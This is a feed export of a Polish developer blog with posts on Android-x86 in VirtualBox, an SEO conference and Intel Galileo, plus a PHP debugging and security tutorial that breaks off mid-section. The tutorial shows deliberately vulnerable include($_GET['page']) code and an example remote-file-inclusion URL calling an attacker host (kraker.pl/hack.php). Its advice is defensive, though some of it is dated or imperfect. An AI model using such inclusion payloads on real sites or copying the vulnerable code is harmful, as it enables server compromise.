<![CDATA[ComStudio]]>http://comstudio.github.io/Ghost v0.4.2Mon, 13 Oct 2014 21:44:59 GMT60<![CDATA[Instalacja Android 4.4 KitKat w VirtualBox]]>

Początki systemu Android sięgają roku 2009, kiedy to pojawiła się pierwsza stabilna wersja 1.5 Cupcake. Wraz z rozwojem do wersji drugiej 2.2 Froyo, a nastepnie 2.3 Gingerbread, popularność tego systemu diametralnie wzrosła. Jak wynika z raportu przygotowanego dla OpenSignal w sierpniu bierzącego roku na rynku jest obecnie 18796 różnych modeli urządzeń z Androidem.

Jak duża to jest skala najlepiej obrazuje ta ikonografika.
android_device
Fot/Źródło: opensignal.com

Z raportu tego wynika również, że obecnie najpopularnieszą wersją jest 4.4 KitKat. Ale co jeśli nasz producent nie zapewnił nam aktualizacji do najnowszej wersji, z pomocą przychodzi projekt Android-x86, który zajmuję się przeportowywaniem Androida na platforme x86. W chwili obecnej najnowszą wersją jest Android-x86 4.4 R1 KitKat.

Instalacja w VirtualBox

Instalacja jest dziecinnie prosta.

  • Należy wybrać niebieski przycisk New w VirtualBox, nadać nazwe naszej wirtualnej maszynie np. Android 4.4 KitKat, następnie wybrać typ jako Linux i wersje 2.6/3.x.
  • Ustawić pamięć jako 1024 MB i kliknąć Create.

create vm

  • W oknie Create Virtual Hard Drive należy zmienić rozmiar na 6 GB i ustawić Fixed size.

create vhd

  • Następnie klikamy Settings i przechodzimy do zakładki Storage, gdzie dodajemy nasz plik z obrazem ISO : android-x86-4.4-r1.iso, zaznaczamy Live CD/DVD i zatwierdzamy nasz wybór. iso
  • Teraz uruchamiamy naszą wirtualną maszynę i wybieramy Instalation, zatwierdzająć klawiszem Enter.

install

  • Kolejnym krokiem jest utworzenie nowej partycji wybieramy Create/modify partitions, czasami zamiast tego ekranu na ekranie pojawia się komunikat: kernel panic - not syncinng ... W tym wypadku należy zrestartować komputer i w BIOS aktywować opcje Virtualization Technology i poraz kolejny uruchomić instalacje.

install

  • Następnie przechodzimy już do tworzenia partycji na wcześniej zarezerowowanym obszarze. Przesuwamy strzałką w prawo nad [New] i zatwierdzamy klawiszem Enter. Następnie po raz kolejny klikamy Enter zatwierdzając [Primary] i ustalamy rozmiar, który pozostawiamy bez zmian poprzez kolejne zatwierdzenie go klawiszem Enter.
  • Ustawiamy stworzoną partycje jako [Bootable] i wybieramy [Write]. Zostaniemy zapytani czy jesteśmy pewni że chcemy ją utworzyć, wpisujemy yes i zatwierdzamy. Teraz możemy zamknąć menadżer partycjonowania wybierając [Quite].

install

  • Wybieramy utworzoną partycje i ustalamy system plików na ext3 i potwierdzamy, że jesteśmy tego pewni wybierając < Yes >.
  • Następnie potwierdzamy instalacje boot loadera Grub, wybierając < Yes >, jest to ważne ponieważ bez niego nasz system się nie uruchomi.
  • W kolejnym kroku ustawiamy /system jako read-write i zatwierdzamy.

install

  • Teraz czekamy aż wszystko zostanie wypakowane, następnie wysuwamy nasz obraz ISO i zatwierdzamy komunikat poprzez wybranie Force unmount i wybieramy na ekranie opcje Reboot

install

  • Po uruchomieniu pokaże się ekran wyboru, wybieramy pierwszą opcje i zatwierdzamy ją, po chwili zobaczymy już ekran konfiguracji pierwszego uruchomienia.

install

  • Wybieramy język Polski, w wypadku kiedy mysz nie działa poprawnie z menu wybieramy opcje Disable Mouse Integration, następnie pomijamy ustawianie sieci Wi-Fi. Na tym etapie konfiguracja się kończy.

install
install

Udanej zabawy!

]]>
http://comstudio.github.io/instalacja-android-4-4-kitkat-w-virtualbox/7470dd0f-fc5c-4aa6-b4a3-32561bc32098Mon, 25 Aug 2014 21:59:42 GMT
<![CDATA[Festiwal SEO 2014]]>
Festiwal SEO już za nami, czas na podsumowanie i krótki komentarz. Było oczywiście ciekawie i na temat, dlatego należa się ogromne podziękowania dla organizatora Silesia SEM, który stanął na wysokości zadania. Poniżej krótki film z tego wydarzenia, na którym oczywiscie można nas w tłumie znaleźć:



Jako pierwszy zaprezentował się Krzystof Marzec, który przybliżył nam kwestie związane z wykrywaniem słabo zabezpieczonych zaplecz dla tysięcy domen. Szkoda tylko, że nie mogliśmy zobaczyć tego na żywym przykładzie, ale wiedza na ten temat napewno się przyda kazdemu SEO-wcowi.

Później na scenie pojawił się Łukasz Rajzer, przybilżając nam 9 punktową deklarację White Hat SEO. Choć jego prezentacja była przedstawiona w dość chaotyczny sposób, pewnie dlatego iż była pierwszą tego typu, to treść w niej zawarta z pewnością to nadrabiała. Zaprezentowana została dobra whitehatowa robota, która jest w zasadzie nie do wykrycia.

Natomiast Przemek Sztal dał nam kilka wskazówek, jak podejść do SEO o zasięgu globalnym. Poniżej prezentacja na ten temat:

Oraz troche wiecej na temat wersji językowych w witrynach internetowych.

Zato Konstantin Kanin, przybliżył nam SEO za wschodniej granicy, czyli Yandex, z którym to wiekszość z nas nie ma wogóle do czynienia. Temat był o tyle ciekawy, że pokazywał iż wyszukiwarka może też działać na innych zasadach wyszukiwania. Oczywiście nie zabrakło też kontrowersjnych kwestii kiedy usłyszelismy, że w Rosji jak potrzebujemy "realnych" danych dla jakiegoś oddziału to da się je tam załatwić.

Paweł Rabinek opowiedział o Google News w SEO, nie zabrakło rówież przykładów jak wdrożyć je u siebie. Co nam to daję, w dużym skrócie szybkie pojawienie się w TOP 3 i wysoka pozycja pod frazami bazującymi na newsach.

Robert Niechciał, Rafał Kuśnierczyk pokazali, że w zasadzie nie wiadomo jak mamy patrzeć na nienaturalne linki. Starali się nam udowodnić, że nawet Google nie wie samo jak na to patrzeć. Oczywiścię wspomnieli, iż Disavow nie jest rozwiązaniem i lepiej nie podcinać sobie w ten sposób skrzydeł.

Natomiast Bartosz Góralewicz, w zasadzie w ostatniej chwili zmienił temat i przedstawił coś o czym wielu z nas zapomina. Jego prezentacją w dużej mierze opierała się o zagadnienie budowania osobistego brandingu, bo właśnie od naszej renomy zależy to czy klient zapłaci nam za usługę tyle ile sobie zarzyczymy. Jak powiedział możemy być Fatem Pandą lub Masaratii dla swoich Klientów.

Łukasz Rysiak i Marcin Lejman zrobili krótkie wprowadzenie do optymalizacji nawigacji fasetowej. Jest to przydatne zagadnienie przy tworzeniu sklepów internetowych, doskonałym przykładem jak to robić dobrzę jest sklep Zalando, gdzię sposób filtracji treści stoi naprawde na bardzo wysokim poziomie.

W zasiadzie na sam koniec pojawił się Łukasza Żelezny, postać rozsławiona w świecie SEO, w dodatku pochodząca tak samo jak my z Tarnowskich Gór. W swojej prezentacji Łukasz przedstawił jak wygląda proces rekrutacji do pracy SEO w Anglii, w zależności czy aplikujemy do agencji czy działu SEO in-house. A ponieważ sam przechodził ten proces kilka razy więc widział o czym mówi.

Na koniec pojawił się Maciej Lewiński, który choć nie jest sciśle zwiazany ze swiatem SEO to dał nam ciekawy pomysł jak podejść do not provided. Kiedy zaczął mówić, widać było, iż wiele osób patrzy na niego ze zdziwieniem. Maciej swoim prostym schematem uczulił nas, że nie powinniśmy się dalej kurczowo trzymać słów kluczowych, a zacząć mierzyć mikrocele w Google Analytics.

]]>
http://comstudio.github.io/festiwal-seo-2014-katowice/1db943b2-c35f-4973-a411-4f61890128feSat, 05 Jul 2014 18:22:34 GMT
<![CDATA[Microsoft & Intel Galileo]]>
Intel ® Galileo płytka oparta o procesor Intel ® Quark SoC X1000 z taktowaniem 400MHz 16 KBytes L1 cache, to idealne narzedzie dla deweloperów zajmujących się urządzeniami klasy Arduino.
intel galileo
W kwietniu na konferencji Microsoft Build Developer Conference 2014, Microsoft poinformował o swoim programie dla deweloperów "Windows Developer Program for IoT", który daje nam możliwość programowania przeróżnych urządzeń w oparciu o tę płytke oraz ich zestaw SDK. Program ten jest otwarty dla wszystkich deweloperów i można do niego dołączyć rejestrując się na stronie https://www.windowsondevices.com/, gdzie oprócz zestawu narzedzi dostaniemy również układ Intel ® Galileo całkiem za darmo.

]]>
http://comstudio.github.io/intel-galileo/368d2d95-d879-4618-a40b-934b59ccd3cdFri, 04 Jul 2014 00:29:44 GMT
<![CDATA[Każdy popełnia błędy]]>
Najczęstsze błędy w programowaniu są wynikiem pomyłki/literówki w trakcie pisania aplikacji albo niedostrzeżeniem jakiejś cechy projektowanego algorytmu. Wielu początkujących programistów jest przerażonych, gdy na ekranie pojawią się tajemnicze komunikaty, a w parze z tym idzie niezaradność. Dlatego też skupimy się na zagadnieniu błędu. Omówimy podstawowe komunikaty zgłaszane przez PHP, techniki pomagające zlokalizować i usunąć błędy, a także przedstawimy kilka narzędzi, które umożliwią testowanie naszych aplikacji.


[!] - ważne

    • obecnie niezalecane stosowanie

Formatowanie kodu

Tworząc aplikację nigdy nie należy zapominać o wcięciach oraz formatowanie kodu, ponieważ zwiększa to jego czytelność, a co za tym idzie łatwość modyfikacji, czy też ułatwia znalezienia potencjalnego błędu. Do wyżej wymienionego formatowania kodu zaliczamy stosowanie zawsze nawiasów klamrowych, spacji w nawiasach zwykłych (przy parametrach funkcji), obok operatorów oraz za przecinkiem i średnikiem np. w pętli for. Spójrzmy na dwa przykładowe kody - pierwszy bez formatowania, oraz drugi, zawierający wyżej wymienione wskazówki:

Przykład 1

<?php

    for($i=0;$i<count($users);$i++)
    {    
    if($user[$i]['status'] == 'offline')       
    return false;                  
    }

Przykład 1a

<?php

    for( $i = 0; $i < count( $users ); $i++ ) {

        if( $user[$i]['status'] == 'offline' ) {

            return false;     

        }       

    }

Od razu na pierwszy rzut oka widać, że kod z Przykładu 1a jest czytelniejszy.

Komunikaty błędów PHP

Przetworzenie skryptu PHP składa się z dwóch faz:

  • Kompilacji(Parsowania) - kod skryptu tłumaczony jest na wewnętrzny zestaw instrukcji interpretera.
  • Wykonywania - właściwe wykonanie skryptu.

Dzięki temu bez problemu można wyróżnić w której fazie należy szukać przyczyn naszego błędu, ponieważ każda z nich generuje nieco inne komunikaty.

Przejdźmy jednak do strony praktycznej:

Przykład 1

<?php

    if( !empty( $zmienna )
    {

       echo $zmienna;

    }

Po jego sparsowaniu powinniśmy ujrzeć następujący komunikat:

PHP Parse error:  syntax error, unexpected '{' in /home/[..]/index.php on line 4

Czyli jak widzimy jest to błąd składni powiązany z fazą kompilacji. PHP nie może skompilować skryptu, ponieważ w podanym pliku w linii 4 natrafił na nieprawidłową konstrukcję składniową. Nie zawsze jednak oznacza to, że błąd jest akurat w tej linii. Zazwyczaj powoduje go jakaś pomyłka nieco wyżej. Przyjrzyjmy się więc nieco bliżej komunikatowi. Mówi on, że PHP natknął się na niespodziewany nawias klamrowy w linii 4. Rzeczywiście, znajduje się on na swoim miejscu tak, jak być powinien, ale skoro według interpretera nie powinno go tu być, a nic więcej w tej linii nie mamy, zerknijmy wyżej: if(!empty($zmienna) - jak się okazało nie zamknęliśmy jednego z nawiasów, dlatego też interpreter PHP nie napotykając znaku ), dostał do nowej linii w której był { i zgłosił błąd. Po dodaniu brakującego nawiasu skrypt zaczyna poprawnie działać.

Przykład 1a

A co jeśli ten warunek zapiszemy w następujący sposób:

<?php

    if( !empty( $zmienna ) {

       echo $zmienna;

    }

Po jego sparsowaniu ujrzymy również komunikat:

PHP Parse error:  syntax error, unexpected '{' in /home/[..]/index.php on line 3

Zgodnie z zasadą opisaną w punkcie wyżej, zaglądamy do linijki nr 2, która jak widzimy jest pusta. Nie należny oczywiście siać od razu paniki, wystarczy również prześledzić nawiasy, dla ułatwienia w platformie Windows możemy skorzystać z programu notepad++ , który po postawieniu kursora za nawiasem ( podświetla nam od razu jego zamknięcie, co bez problemu ułatwia nam lokalizacje nawiasu, w którym go nie posiadamy.

Przykład 2

Po usunięciu powyższego błędu postanowiliśmy rozbudować nasz skrypt o wywołanie funkcji.

<?php 

    if( !empty( $zmienna ) )
    {

       echo $zmienna

       inicjujFunkcje();

    }

Jednakże po uruchomieniu znów pojawił się komunikat błędu:

PHP Parse error:  syntax error, unexpected T_STRING, expecting ',' or ';' in /home/[..]/index.php on line 8

Kompilatory aby ułatwić pracę zarówno sobie, jak i programiście grupują wszystkie identyczne funkcje np. zmienne, pod jedna wspólna nazwą - tokenem, dzięki temu tworzenie składni jest teraz o wiele prostsze. Bo jeżeli chcemy, aby w jakimś miejscu można było podać dowolną zmienną, używamy właśnie tokenu i kompilator już wie, co można w danym miejscu umieścić. Informacje o błędnym użyciu tokenu wyświetlane są w sposób jawny, o czym informuje nas owy tajemniczy napis TSTRING . Komunikat informuje nas również, że PHP natknął się na ciąg tekstowy, oczekując przecinka albo średnika. Spójrzmy linijkę wyżej - rzeczywiście, brakuje nam średnika. Dlaczego jednak komunikat zwraca ciąg tekstowy, skoro w 8 linijce jest funkcja? Kompilator po prostu nie dotarł jeszcze do występujących dalej nawiasów, więc wstępnie zaklasyfikował nazwę naszej funkcji jako tekst. Gdyby udało mu się mu tam dotrzeć i połączyłby z nią nawiasy, powstał by wtedy nowy token: TFUNCTION.

Gdy już poprawiliśmy usterkę i zainicjowaliśmy zmienną $zmienna jakąś wartością, okazało się, że nasz skrypt nadal nie działa. Tym razem mamy do czynienia z błędem innego typu:

PHP Fatal error:  Call to undefined function inicjujFunkcje() in /home/[..]/index.php on line 8

Jest to oczywiście błąd wykonywania skryptu, w którym to PHP poinformował nas, że dotarł do wywołania funkcji inicjujFunkcje(), lecz taka nie istnieje. W tym momencie pozostało nam jedynie odkryć przyczynę tego stanu, być może nie dołączyliśmy jakiejś ważnej biblioteki lub po prostu jeszcze nie zdefiniowaliśmy naszej funkcji. Należy jednak nie zapominać o tym, że czasem, możemy przykryć fragment kodu i pozornie wyżej opisany problem może nie być widoczny. W tym wypadku można to zaobserwować, gdy nie zdefiniujemy zmiennej $zmienna , ponieważ nie zostanie wówczas spełniony warunek if(!empty($zmienna)) , jednakże błąd nadal istnieje i ukaże się nam w momencie przypisania jakiejś wartości do zmiennej $zmienna.

Komunikaty Fatal error pojawiają się zawsze wtedy, gdy w trakcie wykonywania wystąpi problem uniemożliwiający dalszą pracę interpreterowi. Przykładem jest podanie do instrukcji require() nazwy nieistniejącego pliku, wówczas dalsze wykonywanie skryptu zostaje przerwane. Jednakże użycie include() spowoduje "tylko" pokazanie się ostrzeżenia, a skrypt będzie wykonywany dalej.

Innym rodzajem komunikatu o błędzie jest Warning, czyli ostrzeżenie. W odróżnieniu od Fatal error lub Parse error, Warning nie przerywa działania naszego skryptu. Przykładem pojawiania się tego komunikatu może być np. użycie pliku w kodowaniu UTF-8 wraz z BOM:

Przykład 3

<?php

    session_start();

Komunikat błędu:

PHP Warning:  session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/[..]/index.php:1) in /home/[..]/index.php on line 3

Nad rozwiązaniem powyższego problemu skupiliśmy się w poście UTF-8 bez BOM , do którego oczywiście serdecznie zapraszamy.

Ostatnim typem komunikatów są tzw. Notices, czyli powiadomienia. Mają one niski priorytet i służą do informowania o miejscach, które potencjalnie mogą stanowić źródło problemu.

Przykład 4

<?php

    echo witaj;

Ujrzymy wówczas komunikat:

PHP Notice:  Use of undefined constant witaj - assumed 'witaj' in /home/[..]/index.php on line 3

Skrypt widząc witaj nie poprzedzone znakiem $ interpretuje tekst "witaj" jako stała, a ponieważ taka nie istnieje, informuje nas o tym w postaci ostrzeżenia. A co jeśli programiście wcale nie chodziło o to, żeby wstawić tam wartość stałej, tylko wyświetlić na ekranie napis witaj, wówczas uzupełniamy nasza linijkę o apostrofy '', należy jednak pamiętać o jednej ważnej rzeczy a mianowicie, kiedy stosować apostrof, a kiedy cudzysłów:

  • znak apostrofa ' - sygnalizujemy PHP, że wewnątrz nie ma nic do interpretowania, przez co PHP wyświetla lub przypisuje string bez analizy,
  • znak cudzysłowie " - nakazuje PHP sprawdzenie czy wewnątrz łańcucha nie znajduje się zmienna lub funkcja, którą należy wykonać

Przykład

  • Metoda 1(najszybsza, zalecana)
$zmienna = 'Użytkownik:'.$login;
  • Metoda 2(niezalecana)
$zmienna = "Użytkownik: $login";
  • Metoda 3(niezalecana)
$zmienna = "Użytkownik:".$login;

Przykład 4.1

Osobnego rozpatrzenia wymagają tablice asocjacyjne. Musimy pamiętać, że nazwy kluczy takich tablic zapisujemy w cudzysłowach "" lub apostrofach '' :

<?php

    $array["klucz"] = 1; //dobrze
    $array['klucz2'] = 2; // dobrze
    $array[klucz3] = 3; // źle

Bo w tym wypadku również zostaniemy ostrzeżeni:

PHP Notice:  Use of undefined constant klucz3 - assumed 'klucz3' in /home/[..]/index.php on line 5
Należy wiec pamiętać, żeby tak pisać nasze skrypty, aby nie generowały one tego typu ostrzeżeń, z kilku ważnych powodów:
  • W wypadku gdy nasz skrypt rozwijany będzie również przez innych i ustawiony zostanie wysoki poziom raportowania błędów, właściwa treść zginie w setkach powiadomień,
  • Wiele serwerów, pomimo ryzyka związanego z bezpieczeństwem, pozostawia domyślnie włączony wysoki poziom raportowania błędów,
  • Brak komunikatów jest wyrazem dbałości o sytuacje wyjątkowe oraz daje możliwość ich obsługi.

Dobrym nawykiem jest używanie komendy isset() do sprawdzania, czy wymagane w danym fragmencie zmienne istnieją, a także inicjowanie ich przed pierwszym użyciem domyślną wartością.

Biała strona

Często zdarza się, że wykonanie skryptu skutkuje pojawieniem się białej strony bez żadnych komunikatów informujących o powstaniu błędu. Spowodowane jest to niewystarczającym poziomem raportowania błędów.

Niepoprawne użycie znaku równości =

Przykład 1

<?php 

    $zmienna = 2;
    if( $zmienna = 1 ) {

        echo '1';

    } else {

        echo '2';

    }

Powyższy kod zawsze wyświetli 1, ponieważ w instrukcji warunkowej użyto operatora przypisania = , a nie porównania ==. Należy jednak pamiętać o tym, że porównując dwie zmienne typu string należny zastosować operator porównania ===.

Brak znaku końca }

Często szczególnie początkującym programistą zdarza się zapomnieć postawić znaku } na końcu danego bloku instrukcji, o czym jak zwykle zostaniemy poinformowani w wyniku komunikatu:

PHP Parse error:  syntax error, unexpected end of file in /home/[...]/index.php on line X

Przykład 1

<?php

if($b < $a) { if($a > 10)
{
echo 'dobrze';
}
elseif($a < 5 )
{ 
echo 'zle';        
}
else
echo 'inne';

Jest to przeważnie wina nie dbania o formatowanie naszego kodu, co widać na przykładnie zaprezentowanym powyżej. Na pierwszy rzut oka trudno zauważyć gdzie tkwi nasz błąd, na szczęście Parser PHP informuje nas w której linijce spodziewał się znaku końca czyli naszego }, dlatego pamiętajmy zawsze o formatowaniu naszego kod!

Przykład 1a

<?php

    if( $b < $a ) { 

        if( $a > 10 ) {

            echo 'dobrze';

        } elseif( $a < 5 ) { 

            echo 'zle';

        } else
            echo 'inne';

    }

Kłopotliwe nagłówki header()

Często podczas wysyłania nagłówków do przeglądarki, np. w takim skrypcie:

Przykład 1

<?php

    echo 'To są dane wysłane przed stworzeniem nagłówka';

    if( !$isAdmin ) {

        header( 'WWW-Authenticate: Basic realm="Admin "' );
        header( 'HTTP/1.0 401 Unauthorized' );
        echo 'Zły login/hasło.';
        exit;

    } else {

        echo 'Dobry login/hasło';
    }

otrzymujemy następujące komunikaty:

PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/[..]/index.php:3) in /home/[..]/index.php on line 7
PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/[..]/index.php:3) in /home/[..]/index.php on line 8

Oznacza to, że jakieś informacje zostały już wysłane do przeglądarki (echo, print, spacja przed <?php, czy nawet nasz BOM ). Rozwiązaniem problemu jest skasowanie wszystkiego przed <?php, lub wpisanie na początku pliku funkcji uruchamiającej buforowanie: obstart(). Gdy chcemy opróżnić bufor wywołujemy funkcję obflush() (bez kończenia buforowania), lub obendflush() (kończy buforowanie):

<?php
ob_start(); 

    echo 'To są dane wysłane przed stworzeniem nagłówka';

    if( !$isAdmin ) {

        header( 'WWW-Authenticate: Basic realm="Admin "' );
        header( 'HTTP/1.0 401 Unauthorized' );
        echo 'Zły login/hasło.';
        exit;

    } else {

        echo 'Dobry login/hasło';
    }

ob_end_flush();

Kilka słów o operatorze @

Jeżeli dowolne wyrażenie PHP poprzedzimy znakiem @, interpreter nie wyświetli żadnego komunikatu błędu, nawet jeżeli takowy istnieje. Nie oznacza to wcale, że błąd ten nagle znika, po prostu nie jesteśmy o nim informowani, dlatego też należy bardzo rozważnie postępować z jego użyciem. Operator @ przydaje się głównie przy funkcjach do komunikacji z zewnętrznymi źródłami danych np. plikami, ponieważ gdy PHP nie wykryje żądanego pliku, wówczas nie zostanie wygenerowany określony wynik, a także ukaże się nam komunikat Warning, co jest oczywiście zjawiskiem niepożądanym.

Przykład 1

<?php

    echo file_get_contents( 'plik.txt' );

Kiedy plik.txt nie będzie istnieć, interpreter wygeneruje stosowny komunikat, którego w formie Warning`a oczywiście oglądać nie chcemy. Dlatego zanim wczytamy jego zawartość, wcześniej sprawdzimy drugą funkcją istnienie tego pliku.

Przykład 1a

<?php 

    if( file_exists( 'plik.txt' ) ) {

            echo file_get_contents( 'plik.txt' );

    } else {

            echo 'Podany plik nie istnieje.';

    }

Lecz pojawia się nam tu jak wiadomo problem wydajności. Odczyt czegokolwiek z twardego dysku stanowi duży narzut czasowy dla oprogramowania, dlatego powinniśmy się starać wykonywać jak najmniej takich operacji. Wiemy z dokumentacji, że samo filegetcontents() zwraca nam false, jeśli plik nie istnieje, więc przeszkadza nam tu jedynie pojawiające się ostrzeżenie. Dlatego właśnie skorzystamy z @, aby się go pozbyć:

<?php

    $_file = @file_get_contents( 'plik.txt' );

    if( $_file !== FALSE ) {

            echo  $_file;

    } else {

            echo 'Podany plik nie istnieje.';

    }

Jak widać wynik funkcji zapisaliśmy w zmiennej, ponieważ jest on nam potrzebny w paru miejscach. Aby nie dostawać komunikatu Warning, poprzedziliśmy wywołanie funkcji operatorem @.
Istnieje również możliwość zapisania tego w podany poniżej sposób, jednakże przy założeniu, że w poleceniu echo tylko wywołaliśmy wybrany przez nas zestaw instrukcji w tym wypadku: filegetcontents( 'plik.txt' ) :

<?php

    @echo file_get_contents( 'plik.txt' ) or die( 'Podany plik nie istnieje.' );
Zanim użyjemy operatora @, najpierw zastanówmy się czy aby na pewno jest on w tym miejscu do czegoś konkretnego potrzebny. Jego przetwarzanie powoduje znaczny spadek wydajności i jedynie pozornie rozwiązuje problemy, dlatego też do dobrych praktyk programistycznych należy unikanie jego stosowania.

Optymalizowanie skryptów

Optymalizacja skryptów to bardzo ważna i często pomijana przez programistów kwestia. Może się wydawać, że zoptymalizowanie programu z 0.020 do 0.005 sekundy to nic, ale przy 2000 odwiedzin daje to widoczne zwiększenie szybkości. Przyjrzyjmy się więc poniższej pętli:
<?php

    for( $i=0; $i < count( $users );$i++ ) {

        if( $user[$i]['status'] == 'offline' ) {

             return false;

        }
     }
Po przeanalizowaniu pętli można stwierdzić, że wraz z każdą iteracją wykonywana jest funkcja count(), pomimo iż możliwe jest wykonanie jej tylko raz:
<?php

    for( $i=0, $liczba_userow = count( $users ); $i < $liczba_userow ;$i++ ) {

        if( $user[$i]['status'] == 'offline' ) {

            return false;
        }
    }

Przykład 2

Załóżmy, że programista tworząc swój skrypt chcę wydrukować na ekranie n (10) razy jakiś ciąg znaków * , do czego użył pętli zaprezentowanej poniżej:
<?php

    $n = 10;

    for( $i=0; $i < $n; $i-- ){

        echo '*';

    }
Jednak przy próbie uruchomienia okazało się, że nasz ciąg znakowy * powielany jest w nieskończoność aż kompilator zwrócił nam komunikat(zależne od ustawień serwera):
PHP Timed out Fatal error:  Maximum execution time of 30 seconds exceeded in /home/[..]/index.php on line 8
Jak widać podczas uruchomienia naszego skryptu serwer wygenerował błąd, ponieważ przekroczyliśmy dopuszczały czas wykonywania naszego skryptu. Przyjrzyjmy się wiec gdzie zrobiliśmy błąd. Bez trudu można zauważyć, że programista przypadkiem wraz z każdym skokiem pętli zmniejszał licznik i, zamiast go zwiększać co oczywiście jest nie dopuszczalne w naszym przypadku, ponieważ wtedy nigdy nie osiągniemy naszego n (10). Nanosimy poprawkę i otrzymujemy:
<?php

    $n = 10;

    for( $i=0; $i < $n; $i++ ){

        echo '*';

    }
Jak widać tym razem uzyskaliśmy zamierzony efekt.
Pamiętaj! Zawsze należy starać się tworzyć skrypty tak, żeby czas wykonywania skryptu nie został nigdy przekroczony, pomimo iż bez problemu można zmodyfikować długość tego czasu lub nawet usunąć ten limit poprzez funkcje ini_set('max_execution_time', 0); jednakże takie operacje nie są zalecane i można je stosować tylko w wyjątkowych sytuacjach, kiedy pomimo próby optymalizacji naszego skryptu, problem nadal się pojawia.
 

Bezpieczeństwo

Najczęściej konfigurację rozpoczyna się od parametru register_globals. Zaleca się ustawienie tej opcji na Off. W przeciwnym razie wszystkie zmienne wysyłane do skryptu tworzone będą jako globalne, co może spowodować nadpisywanie wcześniej ustalonych wartości zmiennych o takich samych nazwach. Tym samym możliwe staje się na przykład oszukiwanie mechanizmów autoryzacji. Dlatego od wersji 4.2 wartością domyślną tej opcji jest Off, co sprawia, że nie mogą być tworzone żadne dodatkowe zmienne globalne oprócz zdefiniowanych bezpośrednio w skrypcie. W wersji PHP 5.3.0 uznano stosowanie tego parametru za metodę przestarzała, a w wersji PHP 5.4.0 parametr ten został usunięty. Przy wyłączonej opcji register_globals do przekazywanej zmiennej należy się odwoływać za pomocą specjalnych tablic: $_POST['zmienna'] i $_GET['zmienna'] lub $HTTP_POST_VARS['zmienna'] i $HTTP_GET_VARS['zmienna'] , jednakże drugi sposób jest już uważany za przestarzały. Do niedawna drugą ważną funkcją było safe_mode , które ograniczało możliwości uruchamiania poleceń systemowych z poziomu aplikacji PHP oraz ograniczało dostępu do zmiennych środowiskowych, jednak wraz z wersją 5.4.0 podobnie jak w wypadku register_globals parametr ten został usunięty.

Tworzenie bezpiecznych skryptów

Następnym ważnym zagadnieniem związanym z bezpieczeństwem PHP jest sposób pisania skryptów. Programista powinien zawsze przewidywać następstwa niezgodnego z oczekiwaniami. Pisząc kod, nie można skupiać uwagi tylko i wyłącznie na widocznych efektach działania skryptów, ale należy również wykonać dokładną analizę rozwoju zdarzeń w sytuacjach awaryjnych, np. gdy nie będzie działała baza MySQL lub gdy w parametrze przekazywanym metodą $_GET zabraknie jednej z przewidzianych wartości, czy też okaże się ona błędna.

Przykład 1

Załóżmy, że na nasza strona internetowa umożliwia użytkownikom zamieszczanie ogłoszeń, których treść wpisywana jest przy użyciu formularza. Po kliknięciu Wyślij wpisana treść jest przekazywana do skryptu dodaj.php za pomocą tablicy $_POST['tresc']. Zadaniem skryptu jest zapisanie treści ogłoszenia w bazie danych oraz wyświetlenie jej jednocześnie na stronie. Jeżeli użytkownik wpisze w formularzu oprócz treści ogłoszenia również instrukcje formatujące HTML:
<b>Moja treść jest pogrubiona</b>
to mimo globalnych ustaleń w kwestii wyglądu strony treść wprowadzona przez tego użytkownika będzie wyświetlona pogrubioną czcionką. Jest to przykład banalny, jednakże poza nieoczekiwaną zmianą związaną z wyglądem strony nie przynosi większych szkód. Ale wystarczy w treści formularza wpisać skrypt PHP lub JavaScript(XSS), aby rezultaty działania niezabezpieczonego pliku dodaj.php miały znacznie poważniejsze konsekwencje.
<?php

    $tresc = $_POST['tresc'];

    // [...]  zapis do bazy danych

    while( $row = mysql_fetch_assoc( $sql ) ){

         echo $row['tresc'];

    }

Jak się ustrzec przed tego typu problemami?

Możliwości jest wiele. Najprostsze rozwiązanie to wykorzystanie specjalnych funkcji PHP:
  • htmlspecialchars() - funkcja zapisuje znaki specjalne HTML (np. <) za pomocą odpowiednich symboli, dzięki czemu nie są one interpretowane, lecz wyświetlane jak zwykły tekst strony,
  • strip_tags() - funkcja całkowicie usuwa znaczniki HTML.
  • trim() - funkcja usuwa niedrukowane znaki (spacje, tabulacje) na początku i końcu łańcucha

Przykład 1a

$tresc = htmlspecialchars( $_POST['tresc'] );
lub
$tresc = strip_tags( $_POST['tresc'] );
oraz
$tresc = trim( $_POST['tresc'] );

Przykład 2

Analizując dalej działanie przykładowego skryptu dodaj.php, zauważamy kolejne, potencjalne problemy. Mianowicie jeżeli w formularzu zostanie wpisany tekst zawierający np. cudzysłowy, to próba wstawienia takiej niesformatowanej wartości do bazy danych może zakończyć się w najlepszym razie niepowodzeniem. W najgorszym wypadku, gdy użytkownik formularza świadomie skonstruuje odpowiednią kolejność znaków specjalnych, może nie tylko wstawić do bazy nowe lub obejrzeć istniejące dane, ale również je zniszczyć. To działanie nazywa się włamaniem typu SQL injection, o którym napiszemy w kolejnym poście na naszym blogu.

Dołączanie plików z paska adresu metodą $_GET

Bardzo często początkujący programiści dołączają podstrony do głównego szablonu przez pasek adresu wpisując np. http://mojserwer.pl/index.php?page=omnie.php . Zazwyczaj kod wygląda wtedy następująco:

Przykład 1

<?php

    // [...]

    include( $_GET['page'] );

    // [...]
Musimy jednak mieć świadomość, że potencjalny kraker może w takim wypadku wpisać: http://mojserwer.pl/index.php?page=http://kraker.pl/hack.php i jego plik hack.php wykona się tak, jakby był na serwerze http://mojserwer.pl/. Prawidłowy, odporny na tego typu manipulacje kod wygląda więc następująco:

Przykład 1a

<?php

    // [...]

    if( isset( $_GET['page'] ) && file_exists( $_GET['page'] ) ) {

         include( basename( $_GET['page'] . '.php' ) );

     }

    // [...]
Jednakże należy zauważyć, że w tym wypadku w pasku adresu nie podajemy rozszerzenia, a przykładowy adres wygląda następująco: http://mojserwer.pl/index.php?page=omnie . Taki kod wygląda już o wiele ładniej, jednakże nie jest on jeszcze w pełni bezpieczny dlatego też nie zaleca się stosowania tego sposób. W tym momencie warto zapoznać się z mod_rewrite, który chociaż działa na podobnej zasadzie okazuje się być bardziej bezpieczny.

Zdalne uruchamianie programów

Niezabezpieczone skrypty mogą również pozwalać nieuprawnionym osobom na wykonywanie programów na serwerze, np. jeśli przekazany za pośrednictwem zmiennej ciąg znaków zostanie użyty jako parametr polecenia shell_exec(). Jeżeli zamiast spodziewanych wartości przekazany zostanie ciąg poleceń systemu Unix, wyniki działania skryptu mogą być całkiem odmienne od założonych.

Przykład 1

<?php

